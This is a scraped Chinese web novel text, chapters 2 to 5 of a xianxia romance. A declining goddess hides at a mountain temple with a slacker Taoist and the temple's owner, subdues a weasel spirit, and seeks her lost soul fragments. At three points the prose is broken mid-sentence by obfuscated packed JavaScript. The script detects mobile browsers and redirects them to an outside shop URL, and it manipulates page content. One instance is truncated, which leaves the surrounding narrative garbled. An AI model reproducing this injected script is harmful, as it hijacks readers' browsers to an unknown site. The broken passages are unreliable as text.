《成仙之后八百年》 2. 扣扣扣乐 “这样啊,那你只是来爬山的?” “也不是”,宁期本能地顺着对方的问题回答:“也不是,我是来找人的……我要去找人了” 话音刚落,就连忙转身往庙外走去,但是总感觉有人的目光如影随形,直到走到殿后才消失。宁期没有回头,绕着神女庙转了一圈,但依旧只有游客,她有些沮丧,担忧之后前往他处也会一无所获。 只怕天人五衰不会给她这么多时间一一排查,好在这座神女庙让她感到一种异样的舒缓,若是暂留此处,未尝不是一个好的选择。 只是需要稍作伪装,否则自己这张“神女相”要是引起注意,难免会生乱。 一颗可怜的小石子被宁期踢着往前。忽然,一双穿着灰蓝色道服的裤脚闯进视野。 道士。 道士是修道的,和他们修士算是一个祖宗,宁期欣喜地把小石子踢到一边,替步正要去问,就看到那年轻道士身边,还站着另一个人。 身材颀长,逆光而立,只能看清剪影,在耀眼的余晖下,两人轮廓分明,正在交谈。 许回蹙着眉,带着几分不悦。 宁期没有冲动走上前,研究起石栏外的风景,眼神却时不时往两人那边飘,悄悄挪动脚步,只等许回离开。 正好是顺风,把两人的对话吹了过来。 “我已经说过很多次,不要当着游客的面在许愿池捞硬币。”许回语气里带着几分不耐,“祈福的人都忌讳这个。软件上已经不止一次有人差评了。” 年轻道士据理力争:“那我口渴要买水啊,也不能喝许愿池的水啊,那池底都长水藻了。” 许回:“你不是拿钱去买可乐了吗?” 年轻道士:“行行,那我下次买矿泉水行了吧。” 宁期虽然不知道可乐是什么,但刚燃起的希望也变成可乐被那年轻道士喝进肚子里了。 可师尊说过,大智若愚,万一这道士只是表面看着不靠谱呢?这么哄了自己两句,她重新停下下山的脚步。 那边的许回仰头舒出一口气,嘴角勾着出假笑,一字一句道: “你,下个月的工资用可乐结。” 懒得理会身后青年的哀嚎,许回转身欲走,刚迈开腿就和宁期期盼的眼神撞了个满怀。 他侧过头重新看向身边还在喋喋不休的燕曲非,然后再看向宁期。 宁期:“……” 顶着四道目光走到两人面前,宁期不知道为什么突然有些心虚,不只是因为偷听。 “又见面了,小姐,你要找的人……是他?”许回指向燕曲非,之前不耐烦的交涉仿佛是宁期的幻觉,许回温声朝地看着她询问。 燕曲非疑惑地“嗯?”了一声,停止滔滔不绝的废话,上下打量一番宁期,“看着倒是有点眼熟……” 早知道就不该吝啬那点用改容换貌的灵力,惴惴不安下,宁期终于听到燕曲非恍然大悟道:“嚯,神像成精跑下来了?” 不知道他想到什么,突然瞪大眼睛看向许回出声质问:“这是你找的演员?怎么,要把我炒了?” 这都哪儿跟哪儿啊? 宁期张了张嘴插不进去话,求助的看向许回,希望他重新继续刚刚“找人”的话题,但许回却没有直接反驳,反而垂眸开始思索起可能性。 “你穷疯了吧许回,咱俩认识多久了,就因为我捞你几个硬币就要把我炒了?我一个月才要你多少工资?这所庙不是你的吗,你差那两个钱?” 提到这事,许回不得不开口指正:“许愿池里都是硬币,再加上庙宇和神像的维修,我赚不了几个钱,你现在工资大半都是从我工资里出来的。” 眼见许回也被绕进去,宁期只好尝试自己打断,坦白自己无心抢燕曲非的工作,反正她要钱也没有用,她更在意的是这里能够延缓自己灵力的逸散,巩固神格,于是不经思考直接开口:“我不要钱。” 这下,两人的注意力确实被转移到她这里了,尤其是燕曲非,嘴唇嗫嚅几下,指着宁期的手都在抖。 “工贼!” 许回挑眉,双眼微弯,笑得如沐春风:“工资还是要发的。而且你不是要找他吗,最后说两句话吧,具体工作我之后慢慢教你。” 宁期没想到自己这一打岔反而歪打正着。 见许回依旧双手抱胸好整以暇地看着他们,宁期纠结片刻,还是扯着燕曲非的道袍衣角往不远处走了两步,燕曲非没骨头一样任由她拽着,接着就听到身后的许回悠悠开口:“这个月的可乐也没了。” 闻言宁期真的忍不住了,十分在意地询问燕曲非:“可乐到底是什么东西?” 燕曲非听到宁期的问题,露出复杂的神情,从道袍的口袋里掏出一个扁扁的盒子,手指飞快移动,然后开始解释:“可乐是一款黑褐色,带有甜味的碳酸饮料。带有一定含量的咖啡因……” “对了,你知道碳酸和咖啡因是什么吗?” 眼见燕曲非又要摆那个小盒子,宁期赶紧打断:“我想问的不是这个!” 任由燕曲非没完没了地说下去,他能一路东拉西扯给她补全缺的几百年的历史。 宁期并没有完全坦白自己的身份,旁敲侧击地询问他师承何处,修为几何,能不能帮到自己,但看着燕曲非露出她听到“碳酸”“咖啡因”时一样的表情,她就知道了,眼前这个道士是个半瓶水直晃荡的半吊子。 虽然不知道工贼是什么意思,但是在此刻,她确实起了替代燕曲非的想法。 对比前往集禄山的那一天一夜走过的街市,在山顶,灵气的堵塞与逸散速度明显降低。如果说之前是正在漏水的木桶,那现在就是有个好心人手忙脚乱把漏出去的水重新泼回木桶,漏一半接一半。 想到能留在这里,宁期心情稍稍好转。日光已经完全消失在山边,灯光微弱,她看向站在石栏边的许回。白玉京没有日夜流转,心随景转的心情在此刻重新出现,又通过一声叹息悠悠散去。 察觉到两人的交涉结束,许回心有所感地看过来,表情隐藏在树影下,直到逐步走出才显露出真容: “聊完了?” 微凉的晚风吹过,宁期有些恍惚,听话地点点头。 “天黑了,山上风大,我送你下山。” “诶?”宁期看看许回又看看燕曲非,后者正在倒腾手机,丝毫没有注意到这边,她不解地询问,“不是说要我代替他吗?我不可以住在这里吗?” “这么着急找工作吗?”许回很有耐心地开口,“那你不需要回去拿行李吗?” 忘了这茬了。 宁期手上小动作不停,比比划划地解释:“我家住得远,不回去了。” 这话也算不上撒谎,白玉京离得确实有点远。 许回挑眉,夜色隐藏了一闪而过的笑意,一本正经地点点头:“原来如此,那你先住下,等我过几天来看你。”说完又从怀里掏出钱包,抽了几张红票票递过来,“山上的商店卖的东西不多,你看需要什么就自己买,等我明日晚点给你带些日用品。” 宁期刚接过钱,两道幽怨的眼神几乎化作实质,黏腻地粘在她身上,而且越来越近,几乎又要流冷汗。 手中的钱仿佛变成了烫手山芋,虽然不知道面额几何,但宁期还是赶紧把钱重新塞回许回的手里:“不用不用……” 许回选择性无视来自燕曲非的视线,“不要工资也不要钱,那你来这里做什么呢?”他微微躬身一副好好讲道理的样子,好像宁期是什么不懂事的小孩子,“如果是遇到什么困难,可以在我家暂住一段时间,不用非要待在山上。” 原本已经有些模糊的回忆刹那出现在宁期脑海中,她又想起了另一个人,但想起那人的死,宁期晃晃脑袋,说服自己多半只是长得相似。 于是宁期赶紧伸手推开许回,义正言辞但底气不足:“真的不用!” 燕曲非站在宁期身后,难得安静,宁期听不懂许回话里的试探,但是他却和许回相识已久,不信他看不出宁期身上明晃晃的疑点,也不信他突然心生怜悯做公益。 许回也没想到自己会被突然推开,低低笑出声,没有强求,点到即止,站直身子对两人叮嘱几句后走向下山的山道。 直到走到半山腰供游客休息的平台,他才拿出手机,一个破碗里放着两个铜钱的头像在十分钟前发来一条信息。 他回头向上看,夜空高悬着一轮明月,再往下只能看到山顶幽幽的灯光。 正在山顶的燕曲非也在往下看,确保许回离开,且不会突然回来后,神神秘秘地朝宁期勾勾手。 “跟我来。” 宁期立刻警惕起来,想起之前的谈话,当时许回在场,还有滞留的几个游客,人多眼杂,难不成燕曲非是故意装傻,实则是等两人单独相处。 或许,他也看出来许回的不对劲,但宁期又确定自己以前肯定没有见过燕曲非。 怀着忐忑不安的心情,宁期跟在燕曲非身后,在摇曳烛影下,缓步走进神庙,塑着金身的神女像眉目低垂,居高临下却又带着悲悯。 燕曲非抬步走上神座,半边身子掩在巨大的神像之后,半张脸被阴影遮蔽。确认宁期跟上来,才走到金身之后,宁期反而有些犹豫了,但还是乖乖跟上去。 殿内灯光昏黄,神像更遮住了大半光亮,看不清燕曲非在做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263350|198068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 神座后发出几声空响,燕曲非拿出了两瓶黑褐色的液体,分别绑着一红一蓝两张三指宽的纸条。 “你喜欢劲儿大一点的还是甜的?” “……?” 因为看不清,宁期刚要蹲下凑近一探究竟,听到这句话,彻底心如死灰,扶着神女像准备站起来,谁想神像差点被她这么一扶倒下,燕曲非吓得倒吸一口凉气赶紧伸手去扶,两瓶黑褐色液体掉到地上。 “天尊啊,这神像是空心的!” “你没告诉我啊!”宁期也赶紧伸手去扶,虽然是空心的,但因为过于硕大,还是不容易保持平衡。 好容易扶稳神像,两人都松了口气,蹑手蹑脚退下神座。 “诺,这就是你朝思暮想的可乐,别说哥对你不好,明天在许回面前给哥说几句好话。” “……”宁期接过绑着蓝色纸条的可乐,心情复杂,但还是学着燕曲非的动作拧开瓶盖,但可乐经过刚刚一摔,二氧化碳迅速释放,猝不及防,盖子刚旋开,伴随着刺啦一声,自由地喷发了燕曲非一脸,在宁期反应过来的时候,一切都已经来不及了。 宁期笑出了愁云惨淡的一声。 燕曲非关上庙里昏黄的氛围灯,叼着可乐瓶锁上门扉,带着宁期简单巡视了一圈,除了山顶正中央的神庙,山道对面有一条后修的石质廊道,通向他居住的屋舍,特意使用了红砖绿瓦的仿古风格,以至于不显突兀,与山水相得益彰。 宁期原本没打算和燕曲非一起住,到不是她怀疑燕曲非居心不良,只是她需要回白玉京一趟,不宜被发现,而且退一万步来讲,宁期能单手殴打两百个燕曲非。 但是推开门后,与先前预想的不同,这里并非只是供燕曲非居住的,而是一个分东西厢房的小院子,东南角围出一角,窝着几只巴掌大的小鸡。 “你住西边那个屋,对了,你叫什么?”这时候燕曲非才想起问宁期的名字。 “宁期。” “永无宁期那个宁期?”等宁期点头后,燕曲非高深莫测地凑近,眼睛眯起,“啧,不吉利啊……” 宁期已经不会被燕曲非这副样子唬到了,嗯啊两声就准备回房间,但是却被叫住了。 燕曲非:“等等!” 燕曲非走上前,问宁期的可乐还要不要喝,宁期喝不惯这种辣口的饮料,现在还剩下大半,她把可乐递过去,燕曲非把自己已经喝完的塑料瓶抛进不远的垃圾桶里,然后转身朝外走去。 “小宁期,旁边那个麻袋里有粟米,帮哥喂喂鸡。”说完就头也不回离开。 宁期走到角落,从敞开的米袋里抓了两把,撒到小鸡面前,但是几个毛团已经挨着睡着了,纠结片刻后,她从地上拾起一根小树枝,把几只小鸡戳醒,轻轻引着它们到食物前。 看着小鸡啄米,宁期掐诀,身影瞬间消失,仿佛没有来过,小鸡扭头鸣叫两声,继续啄米。 燕曲非溜溜哒哒重新回到神庙的青铜鼎前,里面还有几根未灭的香火,他把从宁期那里要来的可乐倒进去,刺啦几声,余烬熄灭,他一边倒一边念念有词:“拿你的钱买可乐,应该咱俩一人一瓶的,不过你这个人间体喝几口,您一个神仙别计较。” 说完,他拿出手机,这个时间,许回应该还在回家的路上。 两人的聊天框也还停留在分别前: 许回:你们说了什么?(50¥已被接收) 燕曲非:没什么,跟你想的一样,你家祖训那个神仙下凡了,看在你小时候叫我叔叔的份上,我劝你一句,人家的命数不是咱能掺和的,你好吃好喝着伺候着没问题,凡人百年,别想着真扯上什么关系。 看着聊天框,燕曲非心里漫着不安,却又不知道从何而来。 纠结良久,燕曲非坐在地上,打开算卦软件,忧心忡忡打算起一卦,准备窥探一下两人之后走向如何,但是迟迟没有加载出来,他起身举着手机来回转了两圈,信号好不容易冒出一格,跳出一条许回的信息。 许回:你相信一见钟情吗? 燕曲非看着那句话,睁大眼睛来回看了几遍,理性告诉他许回多半是在胡诌,每次不想正面回答问题就这样,但是直觉又在脑子里敲响警钟。 傻逼(发送失败,点击重新发送) 他不死心又点了几遍,依旧发不出去,信号又变成灰色,算卦软件也显示“加载失败”。 “神明不告啊……” 作为一名术士,燕曲非自然知道这意味着什么,算卦途中被打断本身就是一种征兆,暗示此事无法被窥探。 想到许回的信息,他烦躁地从地上跳起来:“好言难劝该死的鬼!” 3. 跟我讨封?真的假的? 这边宁期再睁开眼时,已经回到白玉京中自己的居所。 白雾在脚下缓缓流动,空中不鼓自鸣的仙乐回荡不休,她没时间怀旧,立马盘腿坐下,运转灵气,神识沉入一片空无之境。 天道如同一条流光场合,因果交错。 宁期顺流而行,迅速翻检过往天人五衰的记录。她并不是孤例,也并非无解,这点让她稍稍松了口气。 她原本不打算这么做,往返白玉京要花费大量灵力,用天道作弊更是逆天而行,但是活着才有资格遭报应。 半柱香后,她抽离神识。 清晨的山风扑面而来,她已经回到人间。 下一瞬,视野骤暗,清脆的鸟鸣也突兀中断。 宁期伸出手朝四周伸去,好在触觉没有消失,只是消失了听觉和视觉。 她抬手覆在身旁粗糙的树皮上,神识顺着触感扩散,很快便能确认,自己依然在集禄山。 只是对比昨天,似乎有哪里不太对劲。 宁期一时又没有头绪,只好暂时按下不表。她封锁神识,随手捡了一根树枝当作拐杖,循着一个方向,朝山顶走去。 到时候解释自己散步不小心迷路了应该能糊弄过去,不行,虽然燕曲非多半会信。 但是要是转告给许回,许回肯定不会信。 虽然许回不会直接质问,但每次站在他面前,宁期半个字敷衍的话都会压力山大,忍不住什么都坦白。 在山中走了半天,哪怕看不见也能感到气温渐渐升高,可四周的地势始终没有变化,依旧在半山腰打转。 宁期停下脚步,站在原地。 她正站在一个黑洞洞的山间罅隙前。 体内激荡的灵力已经逐渐平复,视野的黑暗也逐渐消退,和宁期料想的一样,只是一次性使用太多灵力的副作用。 但过这也同样意味着——如果她再不想办法阻止灵力的泄漏,下一步就,是真正的五感尽失。 但让宁期感到奇怪的是,这次往返白玉京的速度比她预计的还要快,按理来说不应该导致突然失明。 当务之急,是尽快返回山顶,至于这个疑问也只好先按下不表。 她没有继续在山缝处驻足,转身继续朝山顶的方向走。 对于这个山间缝隙她已经有几分猜测,多半是什么山精野魅的陷阱。 虽然她的神力不如从前,但是对于这些修炼的精怪来说,简直是个移动的天材地宝,还是最顶级的那种,再加上宁期一直以来刻意收敛灵力,所以才让这些精怪以为有机可乘。 秉承着“大家修炼都不容易”的慈悲心态,宁期决定放过它,绕开山隙离开。 又走了一段路,宁期面前再次出现一个黑漆漆的山口。 日头高悬,四周却被遮天蔽日的枝叶笼罩出一个昏暗的空间,细碎的光影摇曳,像是若有似无的目光。 如今不比往常,山林都被旅游局保护起来禁止游客闯入,好不容易天上掉馅饼,那些山野精怪自然不准备放过。 人不学不成器,山精不用上学,但是教育必不可少。 宁期已经给过它机会了。这次她没有绕弯直接走进山口,提着树枝如同提剑。 刚进去,岩石移动彻底封死了洞口,原本的微风也被彻底封死在外。 视觉还没有完全恢复,宁期提树枝如同提剑,毫不犹豫一步一步地朝里走去。 走到半途,一双红色的眼睛倒挂在顶部,朝着宁期的方向看去,接着更多眼睛睁开,挥舞着翅膀发出叽叽的叫声。 逼仄阴暗的环境本能让人感到危险,但宁期依旧没有停下,只有她自己的脚步声回荡不休。 随着深入,沉寂没有持续太久,洞穴深处传出一阵森然的声音,尖细得像是动物的叫声。 宁期停下脚步仔细分辨才发现是曲不成调的唱腔。 “说是仙,夺人神格假成仙~” “说是人,魂魄不全四不像~” 唱腔荒腔走板,但这一股自成风格的吊诡韵律,声音层层叠叠,在山洞回荡,渐渐分不清到底是谁在唱,仿佛整个山洞都在低吟。 宁期微微蹙眉,这精怪倒是有几分眼力,寻常妖物可看不出神格的端倪。 “见您那神格儿晃悠悠~将坠不坠~~” “天也错乱~地也倒转——何不借小老儿戴戴看~” 石壁两侧轰然亮起幽蓝色火光。 道路尽头,一个背对着宁期的少女坐在石头上,长发披肩,素白衣裳。她一边唱着一边将头缓缓扭转,笑意吟吟面向宁期。 那张脸,与宁期一模一样。 “嘻嘻,如今~你看我像人还是像神啊~” 听到这句,宁期心下了然。 自己这是遇到讨封了。 只是这黄仙胃口大得很,不仅想成精,还想顶了她的神格成仙。 火光骤灭,又骤然亮起。 短暂的漆黑过去,山洞重归明亮。这时白衣女人已经出现在宁期五步之外,像是掉帧的劣质恐怖片。 “嘻嘻嘻嘻——” 火光再次熄灭。 笑声戛然而止。 蝙蝠被惊得四散乱飞,撞得满洞乱响。 下一刻,黄仙只觉一股巨力迎面砸来,整个人被狠狠掼到地上。他难以置信地想爬起来,然后被再次掐着后颈摁到地上,鞭影像流水般不断落下。毫不留情。 “我看你像活够了。” 黄仙刚开始还想挣扎。 然后被打得更狠了。 打得黄仙连人形都维持不住,崩溃地嚎叫:“停!停下!!别打了! 见宁期不为所动,黄仙急得滋哇乱叫。 黄仙的惨叫在山洞中回荡了许久,直到宁期呼吸不稳,才攥住他的尾巴往外走。 遮掩洞口的岩石被树枝甩出的两道凌厉剑气劈开,黄仙倒吸一口凉气。 他原本看出宁期是顶着他人的神格,再加上灵力低敛,以为她就是个绣花枕头,才大着胆子敢对仙人动手。 而这两道剑气直接打碎了他的道心。 “神女!仙姑!!我不想成仙了!!” 宁期把黄仙提到面前看了一会儿,看得它头皮发麻,压着恐惧叠着小爪子挥挥,把自己表现得人畜无害。 “我问你一件事。”宁期开口。 黄仙几乎立刻应声:“问,您问,一定知无不言,言无不尽!” “你修炼的这些年,有没有害过人?” 宁期脚步不停,这次终于能看到距离山顶越来越近。 经过这黄仙的打岔,现在已经过了正午。 “……不瞒您说,我,我没害过人。”它在宁期手里晃来晃去,磕磕巴巴的说,“真的没有,我顶多是吓唬吓唬,骗点香火,捞点功德,真没害过性命。” 宁期没有立刻接话,神格不稳导致天人五衰之后,她已无法像从前一样一眼洞穿因果,只能凭借直觉。 动物修炼要比人艰难得多,心性不稳投机取巧也是常情,这只黄仙修炼到这种程度可见下了苦功,如果没有害过人,宁期也不打算要它性命,带回山上沾沾香火也算一条正路。 黄仙见宁期不说话,怕她不信,赶忙又开始叽叽咋咋: “我哪敢骗您啊!而且近些年来也没人往山里闯啊,您很久没了来人间了吧,咱这儿都叫旅游局封起来了。这座山上头有座庙您知道吧,我百八十年前想去蹭点香火,还叫一个牛鼻子道士扔下来了。” “既然如此,这次我不咎……” 黄仙还没来得及松口气,就结结实实砸到地上,摔得眼冒金星,它还以为宁期改了主意,刚想求饶,就又被重物压回去。 “仙,仙姑?” 黄仙愣了一息才反应过来。 它艰难从宁期身下挪出来,小心翼翼伸出爪子在宁期脸上戳戳。 没醒。 “哈!”黄仙洋洋得意跳到宁期头上。 真是瞌睡了就有人送枕头,它原本都不抱希望了,没想到这个半吊子神仙这时候昏倒了,这时候不夺神格更待何时啊! 可,真到动手的时候,它又迟疑了,刚才那一树枝的威力还历历在目。它毫不怀疑,如果宁期中途醒来,自己绝对会被打的比之前还要惨。 跑也不是,不跑也不是。 黄仙从宁期脸上跳到地上,背着手原地转圈圈,宁期脸上被他刚刚戳出一个小巧的爪印。 “得,就算积德行善了。” 他嘀咕着,咬咬牙,把宁期往背上拱拱,好在宁期颇为纤细,哪怕是原形也能挪动她。 但是毕竟体型差距太大,黄仙只能咬着宁期的领口,折腾了半天才爬出去。 “苍天有眼,我这可是救了个神仙……”它一边走一边碎碎念,“我可是积了大德了,就打算害那么一次人也没成功,都说论迹不论心,善有善报……” 山路崎岖,它没法背着宁期往上爬,只能往游客常走的方向去。 黄仙欲哭无泪,早知道就不趁人眼瞎引着人往深林里走了,现世报来的也太快了些。 走了一段路,黄仙气喘吁吁趴在地上。 突然,他听到不远处传来窸窸窣窣的声音,他心下大喜,没有闻到妖气,来人多半是人。 “苍天有眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但昨天自己连个关于宁期的卦都算不出来,就知道就算他真想干涉也是蚍蜉撼树,他用力叹了口气,在宁期脸上拧了一把,把人扛在肩上朝山顶走去。 宁期的意识并没有全然消失。 像是沉入无边水域的一块海绵,杂乱的意识、念头、情感穿堂而过,留下一缕印象后重新消失。 黄仙说的没错,宁期的神格并不属于她。 只是这个念头也像过眼云烟,闪过一刹那旋即消散。 海绵无法容纳一整片海。 许回收到信息赶来时,燕曲非正在做晚饭,山上只有几家卖饮料和水果的小店,所以燕曲非大多时候都只能自己做饭。 好在山上通电有冰箱保鲜,燕曲非不用像以前一样隔三差五下山买菜买肉。 旁边正咕嘟咕嘟煨着白粥。 肉沫已经下锅了,油滋滋地散发出肉香,燕曲非熟练地放进切好的葱姜蒜,再放两勺豆瓣酱一起炒,炒香后淋上两圈料酒。 一派温馨祥和的气氛。 许回进来后没有说话,径直走向宁期所在房间。燕曲非见状,把焯好水的豆腐下锅,锅铲往旁边的黄鼠狼手里一放,匆匆叮嘱两句不要碰坏豆腐,也跟着许回进屋。 半昏半醒,宁期飘忽的意识终于成型,感觉身体被轻轻扶起。 许回坐在床边,简单检查了宁期的瞳孔、呼吸和脉搏,不出所料,一切正常。 燕曲非一脸复杂地摊手:“她是神仙啊,你这么查能查出个什么?难不成还给她做心脏复苏?而且你们家那遗嘱不是预言了神女下凡渡劫吗?就没说别的了?” “没有,只说让后人尽力帮扶。” 听着越来越清晰的对话声,宁期迷迷糊糊睁开眼,燕曲非和许回的对话已经快进到:许回经过如今这些事还是不是唯物主义者。 注意到靠在自己身上的宁期动了,许回加快速度回答燕曲非:“从认识你的时候就不是了,而且我闻到糊味了。” 燕曲非一愣,下意识转头。 然后他几步冲进厨房,锅里果然已经糊了一层,黄仙为了补救正在没完没了地往里加水,爪子抖得厉害,见燕曲非看过来,立刻缩成一团,装死一样趴在灶台角落。 “啧……”燕曲非叹了口气,把火关了,又嫌弃地把锅往旁边一推,“你说你修炼这么久有什么用?” 屋子里重新安静下来。 夜色已经完全落下,山风透过窗缝吹进来,带着潮湿的凉意。靠在许回怀里,张嘴吃了一口许回喂过来的粥,意识仍旧有些飘忽,却能清晰地感觉到—— 呼吸不再那么费力了。 她微微蹙了下眉,像是终于意识到什么,视线在屋内慢慢转了一圈,最后停在许回身上。 怪不得第一次回到山上会觉得灵力顺畅,怪不得许回离开的当晚,往返白玉京消耗的灵力比预想的要大。 缓解她天人五衰的源头不是神庙。 也不是山。 是许回。 4. 下山 在天道宁期看了很多其他仙人的天人五衰,解决办法五花八门,宁期重新在脑中回顾,排除掉她力所不能及的、有伤天和的以及太吃运气的。 最保险就是寻找自己在人间轮回的一魂七魄。 人有三魂七魄,宁期飞升后,还有一魂七魄被留在人间继续轮回。 宁期上辈子修炼得马马虎虎,飞升也只是一场巧合,她不知道飞升意味着什么,只以为只是从人变成神,从地上跑的变成天上飞的。以至于恍然知道自己失去了一魂七魄,那感觉就像是一个人生活了半辈子,走出门才知道自己其实是个手脚残缺的残疾。 但好在,她有现在知道下一步是该去找自己的手脚了。 说干就干,宁期从床上爬起来,许回刚刚去厨房帮忙,她正好趁这个时间从窗外逃跑,他先是打开窗,窗外正好是后山,神不知鬼不觉。 这么想着,宁期踏上窗棂纵身一跃。 或许是刚开窗时,房间太亮外面太暗晃了眼,在看到窗下有人时,一切都已经来不及了。 她掉进了一个温暖的怀抱,然后两人一起跌到地上。 “快吃饭了,这是准备去哪儿?”许回低沉的声音响在耳畔,让宁期有些耳热。 她心虚地揉了揉耳朵,从许回怀里爬起来,漫不经心地转移重点:“你怎么在这里?” 许回也从地上起来:“救了你的那只黄鼠狼把豆腐做糊了,燕曲非让我来后院择些菜重新做个别的。” “哦。” “那你呢?为什么跳窗呢?” 宁期看着地面,用鞋尖在地上碾来碾去,整个明晃晃写着“心虚”二字。 沉默片刻后,宁期突然从下意识的心虚里反应过来。 这一世自己和许回只是萍水相逢的几面之缘,她想干嘛就干嘛,有什么可心虚的? 思及此,宁期抬头直视许回:“不用你管。” 许回似乎没想到她会这么说,笑容微不可查地一滞,垂下眼思索片刻开口:“嗯,是我多事了。” 说完后,拿起地上的菜篮转身就要走。 看着许回逐渐远去的身影,宁期心里一紧,动作快过脑子,两步追上去伸手抓住他的衣角。 她脑子空空的。 她没想到许回真的会走。 抓着衣角的手紧了紧,宁期低着头小声解释:“……我有事要下山。” 许回停住脚步,轻轻拂开她的手。 “好。” 宁期亦步亦趋跟上许回,又抓住他的衣角扯了扯,“我能跟着你吗?” 宁期这时候才想起,在许回身边时,才能缓解灵力衰竭。 不过好在许回到底没真的生气,轻轻叹了口气看着宁期。 “带你回家我总要对你负责任,要是你再跟昨天一样突然失踪……我怎么跟你家里人交代?” 宁期没有计较自己已经没有家里人的事,也无需给谁交代,只要许回松口了就够了,轻轻长舒一口气,乖巧地连连点头:“不会了,都听你的。” 旁边旁观的一人一鼠看得津津有味。 旁观者清的燕曲非微张着嘴,在正吃糊豆腐的黄鼠狼背上拍了一巴掌,不禁出声感叹:“许回是个天才啊。” 秉承着不浪费粮食的精神,糊掉的麻婆豆腐都进了黄仙的嘴里,燕曲非又炒了一盘辣子鸡丁、凉拌豆腐和许回亲自择了半个小时菜做的清炒小菜。 小院开着灯,中间支起一个小桌,两边放着两条长凳,清风拂动,山上明月仿佛触手可及。 饭后,许回去房间整理地铺,他从燕曲非口中得知宁期这次昏倒是由于灵气堵塞,所以他打算在山里留一夜观察情况,次日再带宁期回家。 燕曲非指挥着黄仙收拾碗筷,暗戳戳挪到宁期旁边,腿翘在桌上伸手搭在宁期肩膀上,一副哥俩好的样子。 “哥也不瞒着你了,哥其实也很深不可测,你一个神仙来人间肯定是有事,哥也会点算点小卦,你给哥透个底儿,你打算干什么,哥看看能不能帮帮你。” 宁期看向燕曲非。 他果然早就看出来了。 宁期没有计较当初燕曲非为什么装傻充愣,反正只要不会生乱,她并不在乎自己的身份是否暴露。 经过长达一天一夜的相处,宁期郑重决定病急乱投医,反正如今的境况再差也差不到哪儿去了。 于是有样学样,屈起腿搭在凳边上,手支着脸忧愁着坦白:“我的一魂七魄还在人间轮回,我要找回来。” “哎哟!这不是犯困就有人送枕头了,哥最会算了,来来来,哥给你算一卦。”燕曲非一拍手,从怀里掏出三枚硬币塞进宁期手里。 “放在手里,摇六下,然后掷到桌子上。”看着宁期怀疑的眼神,燕曲非把她的头转过去,“专心点。” 在燕曲非的指导下,宁期掷了六次硬币,不解地询问:“为什么要用六爻?” 她不通卜算,但也知道自己的想法或许会干涉结果,所以她更倾向于让燕曲非全权接手,毕竟燕曲非虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263352|198068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然看着不靠谱,但反而比她更心无旁骛。 燕曲非听懂了她的意思,开口解释:“没办法,你因果太大了,天道不让我看,只能让你自己来,我帮你解卦,看看能不能钻个空子。” 就像今天宁期昏迷时候,燕曲非也只是算出了大概方位。 “嘶……”燕曲非双手交叉,看向宁期,迟疑地询问。 “你要找的人是活的还是死的?” 听到这句话,宁期也愣了一下,双手交叉垂下眼眸,“应该……要找活的吧。” “那没有了。” “那……死的?” “有一个。” “不然还能有几个?” 燕曲非没有理会宁期的疑惑,继续解卦:“但是你这个肉身,死了有点久了……” 宁期歪歪头,目光带着些不以为然。 就算死能死多久,反正是要一直投胎的,现在最多也不过死去一年,再多就要重新进轮回了。 “所以……死了多久?” “两百年。” “?” 宁期差点从椅子上翻过去,得亏坐在另一侧的燕曲非稳住平衡。 “不仅死后再也没有转世,而且你肉身几乎每一世都死得很早啊,你得罪人了?” 闻言,宁期点点头又摇摇头。 这回轮到燕曲非疑问了:“这是什么意思?” “得罪的人挺多的,但是他们早就都死掉了。” 说完,宁期恍然意识到。 自己活得确实很久了,久到连仇恨都无的放矢了。 最后,燕曲非告诉宁期一个地址,是她肉身最后一次轮回时的家,如今还保留着遗址,是民国时的一个富商。 接着,他翘着的腿还搭在桌沿,坐着的板长凳突然被踹了一脚,导致燕曲非上半身受力往前扑,但腿却因为翘着向后翻,直接摔了个跟头。同样,连带着宁期也晃了一下,但在扑向桌子前,被一只手拎住了后领。 “我日。”燕曲非躺在地上,无奈地仰头,“又怎么了少爷?” 许回已经收拾完房间出来,表情淡淡的,好像刚刚踹椅子的不是他一样:“你别乱教她。” 然后又看向宁期:“你也不要总是乱跟他学,坐着就好好坐着,这种板凳不稳,摔到怎么办?” 宁期的容貌早早定格,如今看起来也仅仅十八九岁,垂着头到是真的很像被训的学生。 不过她内心倒是毫无悔改之意,但还是小鸡啄米一样点头。 5. 人间事 在对于瞒着许回,有关于天人五衰的事上,宁期和燕曲非难得达成了共识。 燕曲非本身就不希望许回沾染太多不该沾染的因果,无论宁期是生是死,她都不会长久停留在许回的身边。作为术士的专业病就是——根据结果去判断一件事是否值得去做。 只可惜许回对燕曲非而言,年纪年纪太小,理解不了他的人生智慧。 而宁期—— 现在正躺在床上看着天花板,月光被窗格撕裂成碎块,勉强能看清横梁,陌生的模糊感。 明天要跟许回回家,有些睡不着。 刚见到许回的时候她实打实吓了一跳。但现在,或许是这张脸带给她的熟悉感盖过了惊吓,她想起了许不春。 “许不春是谁?”许回突然出声。 回忆迅速褪去,宁期抖了一下,抓紧被子,目光移到床边打地铺的许回。 现在人都有读心术了? 寂静的夜里,许回的声音幽幽。 